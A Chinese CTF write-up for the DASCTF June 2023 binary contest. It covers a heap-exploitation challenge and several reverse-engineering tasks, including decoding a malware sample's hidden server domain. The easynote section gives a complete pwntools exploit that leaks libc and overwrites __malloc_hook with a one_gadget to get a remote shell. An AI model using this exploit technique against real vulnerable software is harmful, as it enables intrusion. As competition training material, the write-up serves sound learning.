[Writeups] DASCTF 2023六月挑战赛|二进制专项 | 部分Writeup
琪露诺的二进制大冒险 Writeup!
⑨⑨⑨⑨⑨⑨⑨⑨⑨⑨⑨⑨⑨⑨⑨⑨⑨⑨⑨⑨⑨⑨⑨⑨⑨⑨⑨⑨⑨⑨⑨⑨⑨
队伍token:0cd4****6b
总成绩:排名17,积分3425
写的很详细的是另一个很强的pwn师傅写的
⑨⑨⑨⑨⑨⑨⑨⑨⑨⑨⑨⑨⑨⑨⑨⑨⑨⑨⑨⑨⑨⑨⑨⑨⑨⑨⑨⑨⑨⑨⑨⑨⑨
签到
没什么说的,直接签到就行了
easynote
一个堆题,观察可发现edit功能存在堆溢出,delete功能在删除后未设置NULL指针,考虑先leak出libc基址,再将gadget写入__malloc_hook
来获取shell。
获取libc基址
Unsorted Bin Attack - CTF Wiki (ctf-wiki.org)
构造一个chunk
,使其进入Unsorted Bin
,然后打印fd
指针即可获取一个与 main_arena
有固定偏移的地址,通过动态调试同时获取这个地址和libc基址,即可获取此地址与libc之间的偏移,从获取libc基址。
-
申请大小为4000的准备进入
Unsorted Bin
的内存,其编号为0 -
申请大小为4000的,防止0号内存合并进
top chunk
-
释放掉0号内存,使其进入
Unsorted Bin
,此时原本指向数据的指针将指向chunk结构体的fd成员变量。 -
输出0号内存的值,获取
main_arena
有固定偏移的地址 -
通过调试可以获取到此时libc基址,算出地址与libc的偏移为0x3c4b78
-
通过leak出的地址减去0x3c4b78在非调试状态下获取libc基址
-
使用one_gadget获取gadget地址,通过pwntools获取
__malloc_hook
地址
将gadget写入__malloc_hook
Fastbin Attack - CTF Wiki (ctf-wiki.org)
使用Fastbin Attack
实现任意地址写,主要思想是控制在__malloc_hook
附近寻找可以当作"进入fastbin
的chunk
"的结构体,然后通过UAF
将进入fastbin
的chunk
的fd
成员变量修改成构造的结构体地址,使__malloc_hook
附近构造的结构体进入fastbin
尾部,使其能够通过malloc
获取__malloc_hook
附近的指针,以便覆盖__malloc_hook
的值。
-
寻找
__malloc_hook
附近的内存,发现__malloc_hook
上方存在0x000000000000007F,适合作为chunk
的size
,此时size
对于__malloc_hook
的偏移为0x1B,chunk
地址距离size
地址还差一个prev_size
成员变量,因此chunk
地址需要__malloc_hook
地址减去0x23,其可malloc
的大小为0x60(chunk
大小减去prev_size
和size
为malloc
出来的大小为可储存的用户数据大小为0x6F,又因为需要和2 *SIZE_SZ
对齐,所以我们只能申请0x60的大小) -
申请大小为0x60(十进制96)的内存
-
释放掉刚刚申请的内存使其进入
fastbin
-
通过UAF修改fd指针为
__malloc_hook
-0x23 -
申请大小为0x60的内存,将刚刚进入fastbin的内存申请回来
-
再次申请大小为0x60的内存,获取
__malloc_hook
附近的指针 -
将其内存赋值为gadget准备获取shell(因为实际上并不能直接获取)
__malloc_hook + __realloc_hook
经过测试,发现几个gadget都不能满足要求,这时候就需要调整内存结构使其满足gadget的需求,我们选取要求[rsp+0x30] == NULL
的gadget使其满足get shell的要求,我们可以通过将__mallloc_hook
设置成realloc
附近地址(具体选哪里取决于我们用多少个push
能get shell),再将__realloc_hook
设置成gadget来获取shell(因为realloc
有好多push
可以改变rsp
使其更有可能满足gadget条件),经过测试,直接使用realloc
即可get shell。
0x4527a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL
- 修改上一步对
__malloc_hook
的赋值,使其__malloc_hook
为realloc
地址,__realloc_hook
为gadget地址 - 申请一个内存,使其先触发
__malloc_hoook
,跳转到realloc
调整内存,再通过__realloc_hook
获取shell
完整代码
from pwn import *
#sh = process('./easynote')
libc = ELF('./easynote-libc-2.23.so')
sh = remote('node4.buuoj.cn',27014)
#print('pid',sh.pid)
__malloc_hook_addr = libc.sym["__malloc_hook"]
sh.recvuntil(b'5. exit\n')
sh.sendline(b'1')
sh.recvuntil(b'The length of your content --->\n')
sh.sendline(b'4000')
sh.recvuntil(b'5. exit\n')
sh.sendline(b'1')
sh.recvuntil(b'The length of your content --->\n')
sh.sendline(b'4000')
sh.recvuntil(b'5. exit\n')
sh.sendline(b'3')
sh.recvuntil(b'Index --->\n')
sh.sendline(b'0')
sh.recvuntil(b'5. exit\n')
sh.sendline(b'4')
sh.recvuntil(b'Index --->\n')
sh.sendline(b'0')
sh.recvuntil(b'Content: ')
addr = u64(sh.recvuntil(b'done')[:-5].ljust(8,b'\x00'))
print('%X'%addr)
libc_addr = addr - 0x3c4b78
print('%X'%libc_addr)
__malloc_hook_addr += libc_addr
realloc_addr = libc_addr + libc.sym['realloc']
print('%X'%__malloc_hook_addr)
gadget = libc_addr +0x4527a
print('gadget','%X'%gadget)
sh.recvuntil(b'5. exit\n')
#sh.interactive()
sh.sendline(b'1')
sh.recvuntil(b'The length of your content --->\n')
sh.sendline(b'96')
sh.recvuntil(b'Content --->\n')
sh.sendline(b'A'*10)
sh.recvuntil(b'5. exit\n')
sh.sendline(b'3')
sh.recvuntil(b'Index --->\n')
sh.sendline(b'2')
sh.recvuntil(b'5. exit\n')
sh.sendline(b'2')
sh.recvuntil(b'Index --->\n')
sh.sendline(b'2')
sh.recvuntil(b'The length of your content --->\n')
sh.sendline(b'9')
sh.recvuntil(b'Content --->\n')
sh.sendline(p64(__malloc_hook_addr - 0x23))
sh.sendline(b'1')
sh.recvuntil(b'The length of your content --->\n')
sh.sendline(b'96')
sh.recvuntil(b'Content --->\n')
sh.sendline(b'ABCD')
sh.recvuntil(b'5. exit\n')
sh.sendline(b'1')
sh.recvuntil(b'The length of your content --->\n')
sh.sendline(b'96')
sh.sendline(b'A'*11+p64(gadget)+p64(realloc_addr))
sh.interactive()
careful
hint:题目给出了一个恶意样本,请分析出样本请求服务器的域名(flag的形式为DASCTF{md5(域名)}) 其中md5值都是小写
main
函数里存在v13
,取出来一看
明码值为welcome_t0_dasctf.com
。注意到函数sub_401010
位于__scrt_common_main_seh
的initterm
中,作为全局变量的初始化被调用,属于加载前函数。
观察此函数值,注意到两次VirtualProtect
,同时看到sub_4010C0
参与运算并且写入了gethostbyname
的空间。
考察sub_4010c0
:
注意到异或。简单异或一下拿到真实域名Just_An_APIH00k11.com
#include <windows.h>
#include <iostream>
#include "defs.h"
int main(int argc, char** argv)
{
char name[] = { "welcome_t0_dasctf.com" };
char* a1 = name;
name[0] = *a1 ^ 0x3D;
name[1] = a1[1] ^ 0x10;
name[2] = a1[2] ^ 0x1F;
name[3] = a1[3] ^ 0x17;
name[4] = a1[4] ^ 0x30;
name[5] = a1[5] ^ 0x2C;
name[6] = a1[6] ^ 0xB;
name[7] = a1[7];
name[8] = a1[8] ^ 0x35;
name[9] = a1[9] ^ 0x60;
name[10] = a1[10] ^ 0x16;
name[11] = a1[11] ^ 0x2C;
name[12] = a1[12] ^ 0x51;
name[13] = a1[13] ^ 0x43;
name[14] = a1[14] ^ 8;
name[15] = a1[15] ^ 0x45;
name[16] = a1[16] ^ 0x57;
name[17] = a1[17];
name[18] = a1[18];
name[19] = a1[19];
name[20] = a1[20];
name[21] = a1[21];
printf("%s", name);
return 0;
}
做一下md5就可以提交了。
DASCTF{f18566f93963f72f463fdfa2d163c37c}
babyRe
主代码段拿出了二进制资源cod
,此资源随后在sub_7FF644C02940
中被异或解密。
此处异或解密在地址.text:00007FF617C928F0
存在反调试手段:
无视直接静态。
从资源中提取二进制数据,异或之后使用ida分析。
核心逻辑如下,(已去call $+5
的花,同时sub_1EE
不表)
伪代码如下
#include <windows.h>
#include <iostream>
#include "defs.h"
__int64 sub_1EE();
__int64 __fastcall sub_5(unsigned char* a1);
int main(int argc, char ** argv)
{
sub_5((unsigned char*)"abcdef");
return 0;
}
__int64 sub_1EE()
{
__int64 (*v0)(void); // rax
__int64 (*retaddr)(void); // [rsp+0h] [rbp+0h]
retaddr = 0;
v0 = retaddr;
LOBYTE(retaddr) = (_BYTE)retaddr + 8;
return v0();
}
__int64 __fastcall sub_5(unsigned char* a1)
{
char* v1; // rdi
__int64 i; // rcx
__int64 result; // rax
char v4; // [rsp+20h] [rbp+0h] BYREF
char v5[292]; // [rsp+30h] [rbp+10h] BYREF
unsigned int k; // [rsp+154h] [rbp+134h]
unsigned int v7; // [rsp+174h] [rbp+154h]
unsigned int v8; // [rsp+194h] [rbp+174h]
int v9; // [rsp+1B4h] [rbp+194h]
char v10[44]; // [rsp+1D8h] [rbp+1B8h]
unsigned int v11; // [rsp+204h] [rbp+1E4h]
_BYTE* j; // [rsp+228h] [rbp+208h]
int v13; // [rsp+244h] [rbp+224h]
__int64 v14; // [rsp+3D8h] [rbp+3B8h]
_BYTE* v15 = 0; // [rsp+410h] [rbp+3F0h]
v1 = &v4;
for (i = 150i64; i; --i)
{
*(_DWORD*)v1 = -858993460;
v1 += 4;
}
memset(v5, 0, 0x101ui64);
v10[0] = 93;
v10[1] = 66;
v10[2] = 98;
v10[3] = 41;
v10[4] = 3;
v10[5] = 54;
v10[6] = 71;
v10[7] = 65;
v10[8] = 21;
v10[9] = 54;
v11 = 0;
for (j = v15; *j; ++j)
++v11;
for (k = 0; k < 0x100; ++k)
v5[k] = k;
v8 = 0;
v7 = 0;
for (k = 0; k < 0x100; ++k)
{
v9 = (unsigned __int8)v5[k];
v7 = (v10[v8] + v9 + 2 * v7) % 0x100;
v5[k] = v5[v7];
v5[v7] = v9;
if (++v8 >= 0xA)
v8 = 0;
}
v8 = 0;
sub_1EE();
v7 = v8;
for (k = 0; ; ++k)
{
result = v11;
if (k >= v11)
break;
v7 = (v8 + v7) % 0x100;
v8 = ((unsigned __int8)v5[v7] + v8) % 0x100;
v9 = (unsigned __int8)v5[v7];
v5[v7] = v5[v8];
v5[v8] = v9;
v13 = (unsigned __int8)v5[((unsigned __int8)v5[v7] + v8 + (unsigned __int8)v5[v8]) % 0x100];
v15[k] ^= v13;
v14 = k;
v15[k] += k % 0xD;
}
return result;
}
跟踪ida并导出异或表。(此处也可以逆向上述源码,但是我懒)
#include <windows.h>
#include <iostream>
#include "defs.h"
unsigned char v4[64] = { 0 };
char xor_key[] =
{
0xb3,0x6c,0x61,0xae,0x3a,0x8c,0x23,0x33,
0x80,0xd7,0x93,0x16,0x07,0xba,0xe4,0xc6,
0x27,0x52,0xb0,0xe3,0x48,0x84,0xfa,0x99,
0x08,0xcb,0xf6,0x67,0xbe,0xf6,0x00,0xf8,
0x85,0x36,0x88,0x58,0xc2,0xd0,0x04,0x53,
0xc2,0x1e,0xcb,0x29,0xa4,0x46,0x2c
};
int main(int argc, char** argv)
{
v4[0] = -9;
v4[1] = 46;
v4[2] = 52;
v4[3] = -16;
v4[4] = 114;
v4[5] = -49;
v4[6] = 94;
v4[7] = 10;
v4[8] = -69;
v4[9] = -20;
v4[10] = -79;
v4[11] = 43;
v4[12] = 112;
v4[13] = -120;
v4[14] = -120;
v4[15] = -19;
v4[16] = 70;
v4[17] = 56;
v4[18] = -37;
v4[19] = -38;
v4[20] = 108;
v4[21] = -67;
v4[22] = -44;
v4[23] = 6;
v4[24] = 119;
v4[25] = -14;
v4[26] = -49;
v4[27] = 86;
v4[28] = -120;
v4[29] = -58;
v4[30] = 49;
v4[31] = -46;
v4[32] = -73;
v4[33] = 90;
v4[34] = -63;
v4[35] = 66;
v4[36] = -80;
v4[37] = -12;
v4[38] = 72;
v4[39] = 55;
v4[40] = -11;
v4[41] = 44;
v4[42] = -11;
v4[43] = 88;
v4[44] = 0;
for (int i = 0; i < 44; i++)
{
v4[i] -= i % 0xD;
printf("%c", v4[i] ^ xor_key[i]);
}
return 0;
}
DASCTF{03446c2c-dff7-11ed-9285-54e1ad98d649}
ez_exe
注意到pyinstaller
,使用extremecoders-re/pyinstxtractor解压,得到一堆文件。
注意到里面的ez_py.pyc
,用pycdc拿出源码(也可以随便找个pyc的逆向网址,太简单,不表)
# Source Generated with Decompyle++
# File: ez_py.pyc (Python 3.11)
import ctypes
from time import *
from ctypes import *
from ctypes import wintypes
from hashlib import md5
class _STARTUPINFO(Structure):
_fields_ = [
('cb', c_ulong),
#...
('hStdError', c_ulong)]
class _PROCESS_INFORMATION(Structure):
_fields_ = [
('hProcess', c_void_p),
#...
('dwThreadId', c_ulong)]
StartupInfo = _STARTUPINFO()
ProcessInfo = _PROCESS_INFORMATION()
key1 = bytes(md5(b'bin1bin1bin1').hexdigest().encode())
file = open('bin1', 'rb').read()
arr = range(len(file))()
open('bin1', 'wb').write(bytes(arr))
sleep(0)
bet = ctypes.windll.kernel32.CreateProcessA(b'bin1', ctypes.c_int(0), ctypes.c_int(0), ctypes.c_int(0), ctypes.c_int(0), ctypes.c_int(0), ctypes.c_int(0), ctypes.c_int(0), byref(StartupInfo), byref(ProcessInfo))
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(ProcessInfo.hProcess), ctypes.c_int(-1))
open('bin1', 'wb').write(file)
看到启动的都是bin1
,同时结合程序的提示
please use zhe execute file decrypt 'bin2' and your will get flag!
(zhe还拼错了)
于是搜一搜改一改,把pyc里的bin1
改成bin2
,我比较懒,第一次就试着把密钥部分也一起换了吧。
运行一下(要用py3.11,懒得配)
沙盒运行成功,虽然显示错误,但是可以用管他三七二十三。
解密的bin2
是个简单的btea的二进制
我懒,我抄csdn找个脚本BTEA算法C语言实现_z=vn - 1 += mx_coolibin的博客-CSDN博客
#include <iostream>
#include <stdio.h>
using namespace std;
#include <stdint.h>
//delta changed
#define DELTA 0x7937B99E
#define MX (((z>>5^y<<2) + (y>>3^z<<4)) ^ ((sum^y) + (key[(p&3)^e] ^ z)))
void btea(uint32_t* v, int n, uint32_t const key[4]) {
uint32_t y, z, sum;
unsigned p, rounds, e;
if (n > 1) { /* Coding Part */
rounds = 6 + 52 / n;
sum = 0;
z = v[n - 1];
do {
sum += DELTA;
e = (sum >> 2) & 3;
for (p = 0; p < n - 1; p++) {
y = v[p + 1];
z = v[p] += MX;
}
y = v[0];
z = v[n - 1] += MX;
} while (--rounds);
}
else if (n < -1) { /* Decoding Part */
n = -n;
//round changed
rounds = 52 / n;
sum = rounds * DELTA;
y = v[0];
do {
e = (sum >> 2) & 3;
for (p = n - 1; p > 0; p--) {
z = v[p - 1];
y = v[p] -= MX;
}
z = v[n - 1];
y = v[0] -= MX;
} while ((sum -= DELTA) != 0);
}
}
int main()
{
uint32_t key[4] = { 0 };
key[0] = 0x4B5F;
key[1] = 0xDEAD;
key[2] = 0x11ED;
key[3] = 0xB3CC;
uint32_t v5[11] = { 0 };
v5[0] = 0xCC45699D;
v5[1] = 0x683D5352;
v5[2] = 0xB8BB71A0;
v5[3] = 0xD3817AD;
v5[4] = 0x7547E79E;
v5[5] = 0x4BDD8C7C;
v5[6] = 0x95E25A81;
v5[7] = 0xC4525103;
v5[8] = 0x7049B46F;
v5[9] = 0x5417F77C;
v5[10] = 0x65567138;
btea(v5, -11, key);
for (int i = 0; i < 44; i++)
{
printf("%c",*((char *)v5 +i) & 0xff);
}
return 0;
}
注意原二进制的轮数和delta都改了。
看加密段,加密段的DELTA改了,但是解密段没改,不知道是不小心的还是故意的。
cap
比较奇怪并且比较傻逼的一题
注意到main函数
输出bmp文件的花式格式,你怎么输出我就怎么读入。没什么技术难点,上脚本
/*
DASCTF{3d0bd550-edbe-11ed-b2a3-f1d90bff20c4}
*/
#include <windows.h>
#include <iostream>
#include "defs.h"
struct tagBITMAPINFO bmi;
int main(int argc, char** argv)
{
// 打开文件
HANDLE hFile = CreateFileA(argv[1], GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (hFile == INVALID_HANDLE_VALUE) { return -1; }
BYTE* lpDiBits;
DWORD bytesRead;
// 读取颜色表数据
ReadFile(hFile, bmi.bmiColors, 0xe, &bytesRead, NULL);
/*
* bmi.bmiColors[0].rgbGreen = 46;
bmi.bmiColors[0].rgbBlue = 44;
bmi.bmiColors[0].rgbRed = (biPixels + 54) ^ 0x5F;
bmi.bmiColors[0].rgbReserved = ((unsigned __int16)(biPixels + 54) >> 8) ^ 0x62;
*/
DWORD biPixels; // ebx
//Color assertaion
(bmi.bmiColors[0].rgbGreen == 46 && bmi.bmiColors[0].rgbBlue == 44) ? printf("[+] rgbGreen&rgbBlue check passed!\n") : printf("[-] rgbGreen=%d,rgbBlue=%d\n", bmi.bmiColors[0].rgbGreen, bmi.bmiColors[0].rgbBlue);
//biPixels = bmi.bmiColors[0].rgbRed ^ 0x5f - 54;
//bmi.bmiColors[0].rgbReserved = ((bmi.bmiColors[0].rgbReserved ^ 0x62) << 8) - 54;
bmi.bmiColors[0].rgbReserved = 0;
// 读取位图信息头数据
ReadFile(hFile, &(bmi.bmiHeader), 0x28, &bytesRead, NULL);
bmi.bmiHeader.biSize ^= 0x79625F63u;
bmi.bmiHeader.biSize == 40 ? printf("[+] biSize check passed!\n") : printf("[-] biSize=%d\n", bmi.bmiHeader.biSize);
bmi.bmiHeader.biWidth ^= 0x7361645Fu;
bmi.bmiHeader.biHeight ^= 0x65667463u;
//initialized value.
//bmi.bmiHeader.biPlanes = 0x200001i64;
//bmi.bmiHeader.biSizeImage == 0i64;
//bmi.bmiHeader.biYPelsPerMeter == 0i64;
//bmi.bmiHeader.biClrImportant == 0;
bmi.bmiHeader.biPlanes ^= 0x61645F79625F636Eui64;
bmi.bmiHeader.biSizeImage ^= 0x5F636E6566746373ui64;
bmi.bmiHeader.biYPelsPerMeter ^= 0x74637361645F7962ui64;
bmi.bmiHeader.biClrImportant ^= 0x636E6566u;
#define printfArgs(X) printf("[+] "#X" = 0x%x\n",X )
printfArgs(bmi.bmiHeader.biSize);
printfArgs(bmi.bmiHeader.biWidth);
printfArgs(bmi.bmiHeader.biHeight);
printfArgs(bmi.bmiHeader.biPlanes);
printfArgs(bmi.bmiHeader.biSizeImage);
biPixels = bmi.bmiHeader.biSizeImage;
bmi.bmiHeader.biSizeImage = 0;
printfArgs((biPixels + 54) ^ 0x5F);
printfArgs(bmi.bmiHeader.biYPelsPerMeter);
printfArgs(bmi.bmiHeader.biClrImportant);
//预定义值
//此处色深十分难以看出来!
bmi.bmiHeader.biBitCount = 32;
bmi.bmiHeader.biCompression = 0;
bmi.bmiHeader.biXPelsPerMeter = 0;
bmi.bmiHeader.biYPelsPerMeter = 0;
bmi.bmiHeader.biClrUsed = 0;
//bmi.bmiHeader.biClrImportant = 0;
biPixels > 0x384000 ? (printf("[+] biPixels=%d; Continue?", biPixels), system("pause")):NULL;
//biPixels = 65536;
// 分配内存用于存储像素数据
lpDiBits = (BYTE*)VirtualAlloc(0, sizeof(BYTE) * biPixels, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
// 读取像素数据
if (!ReadFile(hFile, lpDiBits, biPixels, &bytesRead, NULL)) {
// 处理读取失败的情况
CloseHandle(hFile);
delete[] lpDiBits;
return -1;
}
printfArgs(bytesRead);
DWORD v12 = 0;
DWORD v14;
DWORD v15;
//char aEncByDasctf[] = { "enc_by_dasctf" };
BYTE* startpos = lpDiBits;
unsigned char aEncByDasctf[] =
{
0x65, 0x6E, 0x63, 0x5F, 0x62, 0x79, 0x5F, 0x64, 0x61, 0x73,
0x63, 0x74, 0x66
};
for (DWORD i = 0; i < bytesRead; i++)
{
v14 = v12 + 3;
v15 = (unsigned __int64)(0x4EC4EC4Fi64 * (v12 + 3)) >> 32;
++v12;
*lpDiBits ^= aEncByDasctf[v14 - 13 * (((unsigned int)v15 >> 31) + (v15 >> 2))];
//*lpDiBits ^= aEncByDasctf[v12 % 14 +3];
//*lpDiBits = ~*lpDiBits;
lpDiBits++;
}
/*
for (int i = 0; i < bytesRead; i++)
{
lpDiBits++;
}
for (int i = 0; i < bytesRead; i++)
{
lpDiBits--;
v12--;
v14 = v12 + 3;
v15 = (unsigned __int64)(0x4EC4EC4Fi64 * (v12 + 3)) >> 32;
*lpDiBits ^= aEncByDasctf[v14 - 13 * (((unsigned int)v15 >> 31) + (v15 >> 2))];
}
*/
//printf("\n};");
//关闭文件
CloseHandle(hFile);
hFile = CreateFileW(L"restored_0.bmp", 0x40000000u, 0, 0i64, 2u, 0x80u, 0i64);
DWORD NumberOfBytesWritten; // [rsp+B8h] [rbp-1h] BYREF
printf("[+] writing out...\n");
BITMAPFILEHEADER bmpFileHeader;
ZeroMemory(&bmpFileHeader, sizeof(BITMAPFILEHEADER));
bmpFileHeader.bfType = 0x4D42; // "BM" - 表示BMP文件类型
bmpFileHeader.bfOffBits = sizeof(BITMAPFILEHEADER) + sizeof(BITMAPINFOHEADER); // 数据偏移量
bmpFileHeader.bfSize = sizeof(BITMAPFILEHEADER) + sizeof(BITMAPINFOHEADER) + biPixels;
//bmi.bmiHeader.biSize = sizeof(BITMAPINFOHEADER);
WriteFile(hFile, &bmpFileHeader, sizeof(BITMAPFILEHEADER), &NumberOfBytesWritten, NULL);
WriteFile(hFile, &bmi, 0x28, &NumberOfBytesWritten, NULL);
WriteFile(hFile, &bmi.bmiColors, 14, &NumberOfBytesWritten, NULL);
WriteFile(hFile, startpos, biPixels, &NumberOfBytesWritten, NULL);
CloseHandle(hFile);
VirtualFree(lpDiBits, sizeof(BYTE) * biPixels, MEM_RELEASE | MEM_DECOMMIT);
return 0;
}
注意色深是32.
否则你会得到一堆这种破碎图片(色深为24的大冤种)
然后拿出真实图: 绿吧?绿就对啦
反正我是看出来了
DASCTF{3d0bd550-edbe-11ed-b2a3-f1d90bff20c4}
后记
以后有时间再写详细解析(指鸽子
作者发布、转载的任何文章中所涉及的技术、思路、工具仅供以安全目的的学习交流,并严格遵守《中华人民共和国网络安全法》、《中华人民共和国数据安全法》等网络安全法律法规。
任何人不得将技术用于非法用途、盈利用途。否则作者不对未许可的用途承担任何后果。
本文遵守CC BY-NC-SA 3.0协议,您可以在任何媒介以任何形式复制、发行本作品,或者修改、转换或以本作品为基础进行创作
您必须给出适当的署名,提供指向本文的链接,同时标明是否(对原文)作了修改。您可以用任何合理的方式来署名,但是不得以任何方式暗示作者为您或您的使用背书。
同时,本文不得用于商业目的。混合、转换、基于本作品进行创作,必须基于同一协议(CC BY-NC-SA 3.0)分发。
如有问题, 可发送邮件咨询.